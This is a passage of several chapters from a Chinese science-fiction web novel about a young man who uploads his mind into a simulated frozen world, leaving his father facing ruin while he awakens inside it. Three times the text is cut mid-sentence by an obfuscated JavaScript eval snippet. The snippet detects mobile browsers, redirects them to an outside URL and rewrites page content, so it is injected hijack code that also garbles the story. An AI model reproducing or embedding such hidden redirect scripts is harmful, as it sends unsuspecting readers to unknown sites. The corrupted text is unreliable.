死,你都干了些什么?你把人家的东西怎么了!?”蔚统扯着嗓子喊道。而对面的人毫无反应,这无疑让他更加暴怒,“真行啊,不让你继续实验,你就给我来这一出,是吧?没用的东西,净会给我找麻烦!” 柏汝恭看了一眼父子两人,露出有些担忧的神色来。 她没再劝阻,而是把注意力聚焦到电脑屏幕上,再度伸手试图在键盘上敲一些什么。 可还没等她的指尖碰到键盘,电脑主屏突然黑了,那些代码流瞬间消失,而后万籁俱寂。 片刻,机器运转的嗡鸣声再度响起。柏汝恭盯着自动重启的电脑,看着好像什么都没发生过的、崭新的屏幕桌面,惊恐的神色攀上她的眼睛。 “懦夫,连个屁都不放!”蔚统的暴力还在继续,旁若无人地训斥他不成器的后代。 实验人员们在一旁围观,露出不赞成的目光。 柏汝恭盯着空白的屏幕看了一阵子,而后站起来,拖着有些沉重的脚步来到了蔚统的身边。 “你这——”蔚统还想对自己的儿子说什么,这时,一只手搭在了他的肩膀上。他回头,看到柏汝恭露出近乎有些怜悯的神色。 “蔚先生,住手吧……他已经离开我们了。” 蔚统的表情愤怒,他粗喘着气重复着,“离开?” 一旁,无言许久的方远韶从沉思中回神,表情有些不自然,像是意识到了什么一般。他盯着柏汝恭,问道:“什么意思?” 柏汝恭的肩膀有些垮,声音疲惫,“我一开始以为,他走的是之前的意识通路,就是我们两次为了让他进入样界而开启的通路。” “实际情况不是这样吗?”方远韶问。 柏汝恭摇了摇头。 在这充满了机械冰冷感的实验室中,蔚统扭头困惑地盯着女人,方远韶则在耐心地等待她的解释。 而那些在实验室西南角忙碌的实验人员,在看到柏汝恭的工作电脑重启之后,似乎都束手无策了,他们放弃了手头的工作,有些局促地团团站在原地,无助地看向透明舱室的方向。 在这所有人的注视下,柏汝恭的目光则轻轻落在蔚迟野的脸上,说道:“方先生,我们最开始是如何构建那些样界中的生命……迟野也是用同样的方式,潜入了样界中。” 方远韶微微张开了嘴巴,这个男人露出了难得一见的震惊表情,“你的意思是……” “他把自己的意识和记忆导入样界,已经脑死亡了。” 蔚统听到柏汝恭的话,一脸空白。他缓缓转过头去,盯着自己身前的年轻人。对方的头耷拉着,衣服是葬礼上穿的那一身黑,他脸上依然挂着不变的空无表情,眼睛微微睁开,看着没有焦点的一处。 父亲伸出手去,盖住儿子的脸,像是想要用手掌包住他整个脸庞一般,声音压抑地说道:“不可能,他还在呼吸。” “那只是还没有消散的生命体征。”柏汝恭说,“失去了意识的主导,这些体征也会慢慢消失吧。” 蔚统盯着自己的儿子,表情空白得恐怖。他对面的年轻人有着和他相似的面庞,是他生命的延续。而生命的延续却在渐渐失去恒常的体温,半睁的眼从最初起就没有一丝光亮。 一部手机从蔚迟野的衣兜中掉了出来,啪嗒一声砸在地上,亮起的屏幕上,是一小时四十分钟前十七通打给备注着“父亲”的手机号码的未通去电。 288. 选择2 蔚统没有留意到那个手机,再度抓住儿子的肩膀,更加剧烈地摇晃着他,“别装了,你肯定还活着。演什么?我从小就知道你是什么尿性……!” 在他的摇晃之下,有一根连接在蔚迟野后脑的线脱落了下来,还有几根接触不良的线发出滋滋的电流声。 见到这种情况,柏汝恭顿时一惊,大喊道:“别动他!不然漏电的话——” 蔚统却像是谁的话都听不见了,“给我捅了这么大的篓子,想通过这样的方式蒙混过关?我太清楚你怎么想的了!给我站起来!” 蔚统提着蔚迟野的衣襟就想把他拽起来,而这时,一只有力的手突然攥紧了他的手臂。 方远韶神情严肃地制止了蔚统,一脸阴沉地对旁边的实验人员说:“把他给我带出去。” 几个身穿工作服的人围了上来,五六只手抓住了暴怒男人的胳膊,在他的咒骂声中,将他拖出了透明的实验舱室。 “妈的,放开!不把那小子打得痛哭流涕,他是不会醒的!” 舱室外,一直站在门口观望的蔚天楚看到自己发怒癫狂的父亲,非但没有上前安抚,反而有些害怕似的离远了一些。 几个工作人员挤进了舱室中,查看起实验者的情况,而其他人则全都退了出来。 门关上,蔚统不甘地扒着玻璃墙,双目猩红地盯着内部。 一时间,实验室内极度混乱。 有人在打电话,有人围聚在一起低声地议论,还有人焦头烂额地走动于外周的操作台之间。 而就在这一片混乱之中,突然,一个清脆的声音响起,紧接着,噼里啪啦的碎裂声随之而来,就像玻璃从一角开始逐渐裂成了碎块。 所有人往声音源头的方向看去,只见透明的实验舱内,样界的三维投影抖动得越来越剧烈,它渐渐模糊成了虚影,而就在已经辨别不清细节的时候,倏然,它整个消失了。 而那些围困其上的寒冰枷锁也骤然断裂,稀里哗啦散落一地,不过那原本就是无实体的概念投影,掉在地上之后便不见踪迹了。 一时之间,实验室内所有人的动作都停下了,他们屏息凝神看到了发生的一切。 “……样界……样界脱离控制了!” 不知是谁喊了这么一句,就像是往湖面抛进去的一颗石子,顿时激起了千层浪。 一部分实验人员一筹莫展地站在原地,另一部分则活跃地奔忙了起来。交流声混乱不堪,电话声此起彼伏。 “控制台!能不能实现追溯?” “到底是怎么做到的?为什么这么快就脱离了?” “这里是‘未展’实验室。第七低温样界出现异常,再重复一遍,第七低温样界出现异常,请其他部门工作人员关闭其余样界的信号接收,警惕可能发生的意识波段共鸣。” “先维持住生命体征,等创生部人员抵达!打开意识连接窗口,确认通道中是否还有意识碎片残留!” “装载样界基础物质的黑盒在谁那?把它先稳定住!” “黑盒被毁,追捕室正在追踪物质标签信息!” “喂?这里是未展实验室。……不好意思,实验机密无法对外透露。” “人道主义监管部门的人到楼下了!有人去拖住他们吗?” “记者也来了!” “怎么来得这么快!?” 一片嘈杂之中,样界创始人和实验室主任却很平静,两人站在舱室的门口,在混乱中沉思。 “这是什么意思……到底怎么回事?”蔚统不明所以地问。 柏汝恭推了推自己的眼镜,反光遮挡住了她的神情,“蔚先生,样界脱离控制了。” 男人的愤怒之中掺上了一丝惊恐,“脱离控制是指……” “它整个消失了,这间屋子里搭建的设备都白费了。”柏汝恭说,“唉,大概率是迟野做的吧。” 蔚统的表情愈发惨白,“这个意思也就是说……” 柏汝恭看到对方惊惧的模样,这才意识到什么,说道:“哦,对,蔚先生之前是签署过赔偿合同的是吧。我没仔细看过,但听说由实验者造成的经济损失,要由实验者及其家属代为承担……?” 女人越说,男人的脸色就越是发白,比他从进入实验大厦开始到现在,每一刻的脸色都要惨淡。 “哎呀,糟了,方先生的样界可贵着呢。”柏汝恭不嫌事大,添油加醋地说,“我一辈子的工资都抵不上一个零头。” 说完,她幽怨地看了方远韶一眼。 方远韶移开了视线。 蔚天楚在一旁听完,面容有些焦急,他向自己的父亲问道:“爸,那是多少钱?我们家拿得起的,对吧。” 蔚统没有说话,只是转过头去,盯着透明舱室内不醒省人事的大儿子,音色低沉颤抖,“为什么这么对我?” “我记得蔚先生的公司是有限责任制。”方远韶插话道,“所以,倒也不至于背负上无力承担的债务,还是有东山再起的机会。” 蔚天楚听了,表情惊恐,“干嘛说得好像我家已经破产了一样啊!” 蔚统依然望着透明的舱室内,突然,他狠狠砸向眼前的玻璃,“为什么这么对我!!” 他又开始暴怒,对一个不会回应的人发火。 “你到底是怎么想的,为什么就这么没用,从来就没有顺我的意做成过什么事。我生下你这样的儿子,到底是图什么……” 一旁的柏汝恭听了,不由撇了撇嘴,给方远韶投去一个略有深意的眼神。后者也轻叹了口气,摇了摇头。 蔚统扶着玻璃,就快要滑到地上,然而一半的时候,他却突然又站直了,转过身来对后面的两人央求道:“但是,还有转机的,对吧,方先生,柏主任?” 柏汝恭面露难色,“这个……虽然实验人员也在努力,但在我来看的话,可能性不大了。” “不,不,你们可以的,你们一定能把样界召唤回来。”蔚统走上前来,扒住柏汝恭的手臂。 “你这么说我也……”柏汝恭模样依然很为难。 方远韶适时说道:“刚才,实验人员说过了,蔚迟野这个实验者与样界的适配度非常高,那代表他无论做什么都如鱼得水。在两次经过意识通道的时候,估计也把我们的程序摸透了吧。” 这时候,有工作人员来到柏汝恭与身边,举着一个显示屏对她说,“主任,这是监控录像。今日下午,实验者先前往创生部取得了意识转移工具,而后直接去中台复制了第六样界的‘世界状态’信息顶替第七样界,将第七样界架空出来,以此绕过了您的指纹指令以及样界启动的警报装置。” 柏汝恭眉头一皱,“那我们收到样界启动提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607208|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示的时候岂不是已经……” “是。”实验人员肯定道,“那时候样界脱离程序其实已经完成得差不多了。” 柏汝恭瞪大眼睛,半晌,低低地惊叹了一声。 一旁,方远韶有些突兀地一声轻笑,模样和他一直以来的严肃大相径庭,“果然好东西都有双面性。” “居然能做到这份上……”柏汝恭有点不敢置信地说。 蔚统模样有些不明所以,还在试图恳请柏汝恭,“柏主任,请您一定要想想办法啊。” 没等柏汝恭表示什么,方远韶走过来,拿掉了蔚统扒住柏汝恭胳膊的手。他力气用得有些大,蔚统连连后退两步才站定。 有些巧合地,蔚天楚在这时走到了他父亲身边,而透明舱室中的实验员将蔚迟野抬了起来。 父子三人同时出现在了镜框之中,一个面临破产的父亲,一个意识已经剥离躯体的大儿子,以及另一个心高气傲、却或将见证自己家族衰败的小儿子。 “蔚先生,我不得不承认,你儿子蔚迟野的确是个天才。”方远韶看着画面中的这三人,如此说道。他长得很高,面容棱角分明,目光自带俯视的意味,里面透出一丝非人般的悲悯,“所以,我很遗憾。” 蔚统退到了玻璃旁,靠着它缓缓滑了下去,“怎么这样……” 旁边的蔚天楚脸色难看,像被蔚统的绝望所感染,傲人的锋芒全散了,“爸,家里什么都要没了吗?” 蔚统没有回答,而是缓慢地垂下了头,整个人都没了什么生气。 柏汝恭在一旁冷眼看着,她面前是一个无情家庭的湮灭,可在熙攘的实验室中,并没有人注意到这个角落发生了什么。 “柏主任,追踪到样界物质痕迹了!”这时,有人打开实验室的门,一个头冒出来,冲柏汝恭大声喊道。 “啊,这么快?”柏汝恭惊道。 在女人还在惊讶时,方远韶已经像一阵风一样走了过去,径直离开实验室,“通过哪个标签追踪到的?” “D230,意为‘希望’!” 方远韶脚下一顿,片刻又恢复疾走,“……尝试捕捉。” 柏汝恭这时才反应过来,也连忙追上去,不管是不是把什么人丢在了后面,“等等,方先生,真要启动捕捉程序吗?它启动一次可贵了!” “要。”方远韶简短地回答。 好不容易在走廊上追上了对方,和他一起并排小跑着,柏汝恭又说道:“比重新创造一个第八样界都贵!” 方远韶显然知道代价,可他还是说:“没关系。” 分子级追踪与捕捉部门位于其它楼层,两人跟着刚才来通报的工作人员进了电梯。 在电梯里,柏汝恭有些气喘吁吁,“你怎么突然这么执着?” 电梯中的冷光打在方远韶脸上,他面色有些凝重,说道:“我想知道那个实验者的想法。” 柏汝恭:“蔚迟野吗?” 男人垂下视线,一缕发丝落在额前,“我想知道他为什么这么选择。” 柏汝恭打量了他一阵,似乎想到了什么,说:“……不想明白不是也没关系吗。” “……” “反正贝勒萨从来就没有怪你。” 半晌,电梯门开了,凝眉沉思的男人走了出去,只是脚步却不像刚才那般急迫了。 289. 消失的人1 ## 光影在他的眼前流转,这不是他第一次经历这样的过程。 他感觉窒息,像是有什么困住了自己,但是,却不痛苦,身体在发生抽丝剥茧的变化,而后,从什么东西之中挣脱了出来,思绪变得非常清冽。 他最终还是那么做了,离开奶奶的墓地,一个人来到实验大厦,按照自己曾经了解到的书面知识,破解了寒冰枷锁的程序,而后成功剥离自己的意识,将其导入样界。 这时候,外面会发生什么? 样界贸然启动,实验人员应该已经炸开了锅吧,希望他没有给柏汝恭制造太多麻烦。 自己的躯体应该还躺在休眠舱里,会是谁第一个发现他? 不论如何,他都要和那个世界说再见了,那个他生活了十八年的、没有人在乎他的世界。 他感觉很平静,就仿佛走在旅程的末尾,终于,他能够回到自己的家乡。 那个“真实”世界的确还有他的血脉,他的父母、弟弟还在那里,但是,好像离开他们,他并不会觉得难过。 他感觉自己的身体越来越轻,以至于所有的触觉都有些失灵,他不知道自己身在何处,身边什么都没有,好像漂浮在半空。 做出这个决定,是他深思熟虑的结果,不管未来会发生什么,他都做好准备了。回到样界之中遭人唾弃也好,怎样也罢,他要回到那些他关心且关心他的人身边去。 他没有不回来的道理,其实事实早已清晰地展现在眼前,只是一味地不愿去承认罢了。 终于,那种缥缈的感觉逐渐消散。他感觉自己的五感回到了身体,仿佛灵魂离开了一个躯体,而后,又来到了另一个躯体之中。 他睁开眼睛,眼前先闪过了一瞬白光,而后,视野稳定了下来,变得有些昏暗。他眨眨眼,看了一圈周围,发现自己处于一个有些杂乱的无窗房间中。他对这个房间有印象,这是他最后一次离开样界时所在的圣殿侧房。 视野在眼前明晰,他逐渐回想起来发生在这里的一切。 上次进入样界的时候,他抱着要杀死葛马的心态,一路追踪着他。阴差阳错来到元城,在圣殿之中,他猜出葛马是“世界化身”的身份,并诬陷他别有用心作壁上观,那之后,便一直在试图杀死这个看起来不灭的化身。 圣殿里死了很多人,黎礼、黎梦、沃风,还有夏未信身边那个名叫擎天的巨人。印象中的最后一幕,闻人佐的人控制住了局面,夏未信因为对他开枪而被抓捕起来,董莉莉安然无恙,白熠不知为何藏了起来,葛马大抵在四处逃亡,另一边,能够打开前往启动室机关的黎涵挚似乎还倒在台阶的上方,不省人事。 是了,他离开的时候,的确是这样一幅景象。 他再一次眨了眨眼睛,然后向自己的手看去。手掌疤痕遍布,手背经络分明,小臂肌肉强劲,没错,这才是他印象中属于自己的躯体。 现在,他是杜光欧了。 一种强烈的情绪席卷而来,他笑起来,咧开的嘴角控制不住弧度,觉得自己现在可能笑得不太健康。 这时,房门外传来了一阵密集的交谈声。他听不清,又被吸引了注意,于是朝房门外走去。 圣殿的模样与印象中别无二致,有些潮湿的冷气窜入鼻翼,杜光欧向殿堂之中扫视,看到了一些熟悉的人影。 人数最多的是摄文军,他们在圣殿的台阶和入口处把守,其中有几人负责压制着夏未信。而闻人佐在站在台阶附近,正在和两个人攀谈。 与大元帅攀谈的人是白熠和葛马,后者的情绪似乎有些激动,在喋喋不休地朝闻人佐解释着什么。但大元帅抱着胸,似乎不为所动。 另一旁,董莉莉靠在一根圆柱旁,离几人都有些距离,一把银剑靠在她身边,那个常年犹如阳光一般的女孩此刻却显得有些冷僻。 台阶的最上方有一片倒在地上的阴影,那无疑就是点灯人黎涵挚,这个母亲在失去女儿之后就昏迷了过去,再也没有醒来。 杜光欧就这样径直走了出去。他的出现惊动了一小部分摄文士兵,几道打量的视线吸引了更多的注意,最终惊扰到了和闻人佐交谈的两人。 葛马回过头,朝侧房的方向看过来,顿时,红发男人大惊失色,“怎么会,我已经驱逐他了呀?他不是都昏过去了吗?!” 总觉得太久没有见到这些人,听到他们的声音,杜光欧都觉得恍惚,“……葛马。” 葛马慌张地抱头打转,“这下怎么办?他醒过来了!” 一旁,白熠倒是处乱不惊,“再试试能不能把他——” 白发男人的话没说完,一阵细密金属响动传入杜光欧的耳中,那声音很熟悉,只是,一时记不起是在哪里听到过。 往声音的源头看过去,下一瞬间,一声巨响传了过来,与之同时到来的,是巨大的冲击。 “光欧!!” 他听见董莉莉的叫声,又感觉到自己的身体无法控制地往一侧旋转,像是被车撞了一样。 余光中,夏未信不知何时从摄文兵的桎梏下挣脱了出来,手里托着一把口径有人眼球那么大的长枪,长枪瞄准了他,枪口正冒出丝丝白烟。 而那枪膛里弹射而出的子弹,此刻嵌入了杜光欧的肩膀,顿时在他的衣料上晕开一抹深色的痕迹,胳膊骤然往下一垂,看起来像是被整条崩断了。 “……打中了?”夏未信原地不动,模样有些惊愕。但迟疑只持续了一瞬,女人眼神凛冽,换弹,再度瞄准,一气呵成。 杜光欧踉跄了一步,感觉脑袋里有点混浊。眼见那黑色的枪口瞄准了自己的头颅,而就在此时,一个身影朝夏未信飞过去,将她边人带枪扑到一旁,这个过程中,女人按下扳机,子弹离膛而出,擦过杜光欧的耳边,打在他身后的岩壁上,碎石哔哩啪啦掉下来,砸落了一地。 地上,董莉莉和夏未信撕扯在一起,抢夺着那把大口径的长枪。夏未信勉强地笑起来,说:“小姑娘,你还是和以前一样喜欢袒护他啊。” 董莉莉死死盯着短发的女人,愤怒地对她说:“绝不会让你再朝光欧开一枪了!” 两人纠缠时,摄文士兵也快步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618346|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前,拉开了夏未信,再度将她扣押。女人又说了一遍诸如“我很难受能不能别太暴力”之类的话,但这回士兵没有理会她的诉求。 杜光欧捂着自己的肩膀,感觉自己整个右臂都麻了,血流了一整条胳膊,肩膀以一个怪异的角度扭曲着,他无法驱动它,也感受不到指尖。痛觉还没传递开来,显然创伤超出了人体所能承受的范围,所以疼痛的信号暂时被切断了。 怎么看,这整条手臂都废了。 他白着脸,突然,扬起一个笑容。 “哈哈……” 没人知道他在笑什么,纷纷投来诧异的目光。 杜光欧龇牙咧嘴,笑容狰狞。 他感觉有些虚脱,但是爽,真的很爽! 他的手臂断了,但回溯力没有发动。他已经不再是那个不死的人,已然成为了这个世界的一部分,成功作为一个“人”进入了样界,他失去了特权,但是,这是多么令人愉快的一件事情啊。 “没有比这更痛快的事了。”杜光欧咬着牙说道。 哒哒哒一阵脚步声,董莉莉跑了过来,目光急切,她脱掉外裳,开始为杜光欧进行简单的止血,“先忍耐一下!” 杜光欧任董莉莉随便摆弄自己的身体,他低头,看了一眼这个忙碌的人儿,她如绵羊一般蓬软的长发,专注不移的目光,干练灵巧的双手,每一种都令人怀念,也使他感觉到一种久违的踏实。 他想起她刚才不顾一切向夏未信扑过去时的模样,还有之前许多次她为他挺身而出时的场景,一种感激之情油然而生,“谢谢你,莉莉。” “别动,千万别动。”董莉莉说道,音色焦急,目光痛惜,脸色惨白。杜光欧想,自己的样子一定难看极了,才会让董莉莉露出这样的表情。 他还想和对方说些什么,但摄文士兵的惊呼引起了他的注意。 杜光欧转过头去,看到士兵们指着台阶的上方,在那上面,一个模糊的影子正在化形,不过片刻,葛马凭空出现在了那里。 望着红发男人的所在,杜光欧突然想起来那里是什么地方。在那台阶的顶端,立着通往启动室的机关,打开机关后,就能进入启动室“唤醒”元城。而所谓的唤醒,就是让地下的热能装置同时引爆,用热浪驱散这座城市的寒冷。 而身在元城之中的他们,都将无一幸免。 “等等、葛马,停下!”杜光欧深知葛马的意图,按照以往的循环来推测,样界马上就要进入倒计时了,对方可能是想赶在那之前尽快唤醒元城。 可这万万行不通。 他朝对方大喊道:“继续下去大家都会死!” 董莉莉在他一旁惊叫,“光欧,你不能动!” 台阶最上方,葛马没有理会杜光欧,弯下腰去,想要把地上的黎涵挚扶起来。 介于他们两人之前发生了一些不愉快的争吵,甚至一度刀剑相向,按理来说,葛马不予理会,这并不意外。 但那时是那时,现在是现在。 他们已经不再是对立的立场,没必要再针锋相对了。 290. 消失的人2 杜光欧盯着那个背影,按住了一旁的劝阻他别动的董莉莉,不顾自己的伤情,提起石柱旁的银剑就跑过去,边喊道:“拦住他,不能让他得逞!” 闻人佐闻言,派人追了上去。 但是台阶太长,葛马动作比他们快,此时已经架起了点灯人。 “葛马!”杜光欧大喊,挤开那些在他看来慢腾腾的士兵,“已经没有必要这么做了,别——!起码等大家都离开这里之后再启动!” 然而,那个红发的男人不肯回头,像是已经下定了决心,马上要把点灯人的手指盖在机关上。 杜光欧脸色惨白,在自己已经失去回溯力的当下,如果让葛马成功唤醒元城的话,这里所有人的人都会死! 突然,他站在台阶半截,把银剑搭在自己的肩膀上,喊道:“葛马,看着我!!” 他这一嗓子几近撕裂自己的喉咙,嘶哑狼狈。终于,红头发的男人转过头来,斜视着台阶下的人,他的回眸那么短暂、仓促,像是不打算给对方太多的时间,也不打算交托太多的信任。 杜光欧双目圆睁,一咬牙,手里的剑猛地一压,生生切掉了自己的右臂。 短暂的麻木过后,一瞬间,被子弹击穿的疼痛和断面的巨大痛处都找上来门来,他顿时脸色煞白,一句话也说不出来。 下面好像有人喊了些什么,但是他无暇去听。 台阶上,葛马瞪大了眼睛,盯着下方发生的一切,暂时停下了手上的举动。 血像不要钱一样在流。杜光欧忍痛,支撑自己明灭的意识,望着台阶上的红发男人,艰难地开口,“如你所见,我已经……没有那种起死回生的能力了。你要是唤醒元城的话,这里的人,都会死。” “你……” “你应该,知道的吧。回溯力……不会让我的身体残缺。”杜光欧身体渐渐沿着一旁的石壁滑下去,跪在台阶上,说道,“而我现在这幅样子,就是我失去那种能力,最好的证明……” “我怎么、我怎么知道是不是回溯力的检查点还没到?”葛马警惕地说,像是受惊的野生动物一般,僵在原地,“我见过很多次你发动它的情况,如果不是直接致死,回溯力就不是当即发动的。” 杜光欧感觉自己有点撑不住了,他感觉嘴唇在发冷,身体在失血,已经没有办法凝神去解答葛马地顾虑,“葛马,我已经不是……那个被派来摧毁你的人了。” “被派来摧毁我。”葛马重复他的话,红发男人鲜少地露出一丝认真的神情,“关于你的身份,你终于肯说出点有用的信息了。” 杜光欧感觉视野在摇晃,强烈的困意淹没了他。 闭上眼睛之前,他看到的是葛马不信任的脸。 “我什么都会说,所以……”杜光欧小声喃喃着,“不要让大家毫无意义地死在这里……” 他甚至没有听到自己说的后半句话,视野一度灰暗,他从台阶上摔了下去。 而后一段时间,意识是空寂又黑暗的。 他再度睁开眼睛时,发现自己还在台阶上。 背后靠着什么东西,他没有从台阶的中段摔下去。 最上方,葛马的身影不见了,只有昏迷的黎涵挚一个人在台阶上面。 “被派来摧毁我是什么意思?”熟悉的声音在背后响起。 杜光欧侧过头去,看到葛马用肩膀和侧臂顶着自己的背,似乎是为了防止他掉下去。 “那是……”杜光欧想开口解释,可是话没说半句,意识又开始飘乎,眼睛也控制不住地又闭上了。 “喂,别睡啊!” 红发男人的聒噪声音在耳旁响起,像清晨莫名兴奋的鸟类。 “你把话说清楚,你——”葛马话说,又接连发出一阵怪叫,“诶,啊啊?!” 杜光欧不知道发生了什么,在对方大的嗓门中,他又勉强睁开眼睛。 当下,他只觉得背后一空,身体又开始往下坠了。他和葛马两个一同往下滚,期间还伴随着葛马的嚎叫。 “啊啊啊,救命!” 台阶下段站着几个摄文的士兵,看见两人掉下来,纷纷伸手去扶,可惯性太大,居然被牵连着一同摔到了底。 一时间,铁块的撞击声叮叮咣咣,几个人缠在一起,像个雪球一样滚了下来。 台阶底部,葛马在一堆铁疙瘩里吱哇乱叫,“痛死我了!” 挤成一团的众人好不容易分散开来,士兵们立刻就要抓捕葛马。 “别抓他……”杜光欧仰躺在地上,虚弱地说。 摄文士兵并不听令于杜光欧,但此刻稍微有点眼力价的都知道此人在这次行动中的话语分量,毕竟基本杜光欧让闻人佐做什么,闻人佐就做什么。 于是乎,士兵没有抓捕葛马,而是在大元帅的示意下将葛马包围了起来。 而那个红发的男人坐在地上,抱怨地叫嚷着,似乎没有起来的意思。 “怎么回事,怎么这么疼?”葛马发出疑惑的、巨大的叫声,浑身上下摸了一通,似乎在寻找疼痛的来源。最终,他摸到了自己脚踝,这下可好,一声杀猪般的惨烈叫声从嘴里喊出来,“疼啊——!” 红发男人小心翼翼卷起自己的裤腿,在那并不厚重的麻制布料之下,一片漆黑的疤痕攀附在他的小腿处,接近脚踝的位置。 那像是冻伤,也像是人体烧焦后留下的焦炭痕迹。它好似一块膏药一般贴在他的皮肤上,加之身下是暗色的大理石地板,如此,造成了一种视觉上的错觉,仿佛他的腿从脚踝处断裂了。 葛马盯着那里,触碰了一下,疼得嘶了一声,困惑地自言自语,“这是什么……?” 他像对自己的身体感到有些陌生似的,坐在地上,拨弄着那块黑色的新生伤痕,不住讶异地嘟囔着。 杜光欧平躺在地上,感觉自己的意识又开始沉沉浮浮。 大元帅叫来了自己军中的医疗兵,为杜光欧检查伤势。 董莉莉也在杜光欧的身旁操忙着,与医疗兵一起,试图将这个支离破碎的男人黏到一起去。 伤口的横截面被什么东西按住了,有人在帮他止血,更剧烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14635744|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疼痛袭来,他无法控制地抽搐了一下,但是没有更大的反应。 “元帅,不用再与谁对峙了……”杜光欧半睁着眼睛,盯着圣殿的顶部,无力地说,“这里已经没有敌人了……” 他听到闻人佐回答他,“别人可以,但那个女人不行,她已经两度想要杀你了。” 杜光欧知道他指的是夏未信。听到闻人佐这番话,此刻他不禁有些愧疚。 这个摄文的大元帅从来没有怀疑过他,一直坚定的站在他的一侧。 杜光欧想起来之前在外界看到闻人佐的资料,这个男人非常的忠诚,只要认定了对方,就绝对不会再有二心。 但此刻备受对方信任的自己,却感到有一些惶惑不安,他并不值得。 “好好聊聊吧……”杜光欧说,他几乎是在下意识地自言自语,说话的对象也不明晰。他只是想好好地把真相告诉这里的所有人,他认定自己有这样的责任。 一个高挑的身影出现在他的身边,杜光欧用余光去看,隐约觉得那是白熠。 “这里太冷,要处理他的伤口,还是尽快转移到其他地方去吧。” 那的确是白熠,他从刚才开始就一直沉默,好像进入圣殿之后这个人的存在感始终都很低,杜光欧有种对方已经半辈子没开口的错觉。 白熠蹲了下来,看着地上奄奄一息的男人。 杜光欧在自己又开始渐渐湮灭的意识中,听到对方如此说: “为了我能听到真相,你得活下去。” 那之后,视野又陷入了黑暗。 这次,他好像睡了很长时间,再度睁开眼睛时,面前所见已经不是圣殿的顶部。 周围的空气有些湿冷,一股奇怪又有些刺鼻的味道钻进鼻翼,玻璃瓶碰撞的叮当声十分清脆。 他迟缓地移动眼珠,发现自己躺在一个类似病房的房间里,墙壁旁有一个摆着瓶瓶罐罐的架子,一个医疗兵在上面翻弄着那些瓶子。 他右臂已经经过了处理,包扎得很严实,钝痛在缓缓进入脑海,整个身体像是散架了一样,瘫在床上起不来。 床边上坐着董莉莉,她一只脚踩在椅子上,双手抱住自己的腿,头枕在自己的膝盖上,闭着眼休息。 杜光欧无言地看着她,用目光去描画她的五官。 就这么看了一阵子,医疗兵发现伤者睁开眼睛了,转头朝朝外喊了一句,“他醒了。” 然后是陆陆续续赶来的脚步声,董莉莉此刻也睁开了眼睛。女人伸出一只手来,盖在他完好的左手上。温度传递过来,让他一瞬间感觉身体上的阴冷都消失不见了。 先从房门口冒出来的是一颗红色的脑袋。葛马插着兜大大咧咧地走进来,跟在他后面的是白熠和闻人佐,夏未信不知为何也被两个士兵押送着带了进来。 “能说话吗?”人群中的白熠开口问。 杜光欧扯着嗓子,发出有些嘶哑的声音,“……能。” 他知道这些人非常想知道真相,而自己也非常想把真相说出来,双方可以说一拍即合。 291. 消失的人3 杜光欧想要坐起来,进行一场正式的交流。董莉莉看到他的动作,没有对伤者劝阻什么,只是搭了一把手,将他扶起来,让他靠在床头上。 “光欧,你是外面来的人吗?”白熠给自己找了把椅子坐下来,像唠家常一样问他。 “是。”杜光欧回答。右臂的阵痛分散着他的注意力,身体的情况十分虚弱,他只好尽量压缩自己的字句,让脉络清晰,言简意赅,“我们所在的地方……是一个被外界人类创造的,名叫低温样界的意念世界。这里发生的严寒、循环,都是外界人类施加给它的束缚。” 他说完,众人看着他,有人懵懂,有人了然。 “但是,有一天,样界的循环出现了问题,无法再回到最初设定的标准值。所以,为了修复异常,我被派了进来。”杜光欧道。 这时候,葛马凑上来,指着自己说:“那个异常……不会指的是我吧?” “就是你。” “呃,所以你才要杀我?” “一段时间之前的话,的确是这样。”杜光欧诚实地回答道,“但是,后来发生了一些事。你当时的确将我成功驱逐了出去,葛马……” 葛马扭头冲众人说:“你们看,我的确是做到了,这不是我的幻觉!” “……而我在外界的那段时间,想办法解开了低温和轮回的束缚。”杜光欧说,“虽然,我们所在的世界依然有被外界观测、重新捕获的可能性,但起码现在,它是自由的。如果顺利的话,轮回不会再继续,而气温也不会再降低,一切都会慢慢回到大寒潮之前的水平。” 他这番话说完,众人陷入了沉默。 士兵在窃窃私语,模样迷茫。 “他在说什么?”士兵问。 “听不懂。”另一个士兵回答。 门前,以标准军姿站立的闻人佐在此刻开口,“阁下的意思是,这片大地连绵不绝的酷寒,不是自然现象?” “是自然现象,不过是人为的自然现象。”杜光欧道。 闻人佐似乎仍有诸多不解,没能明白杜光欧口中的概念,“你说的……外界的人,是指什么人?外界是哪里?” 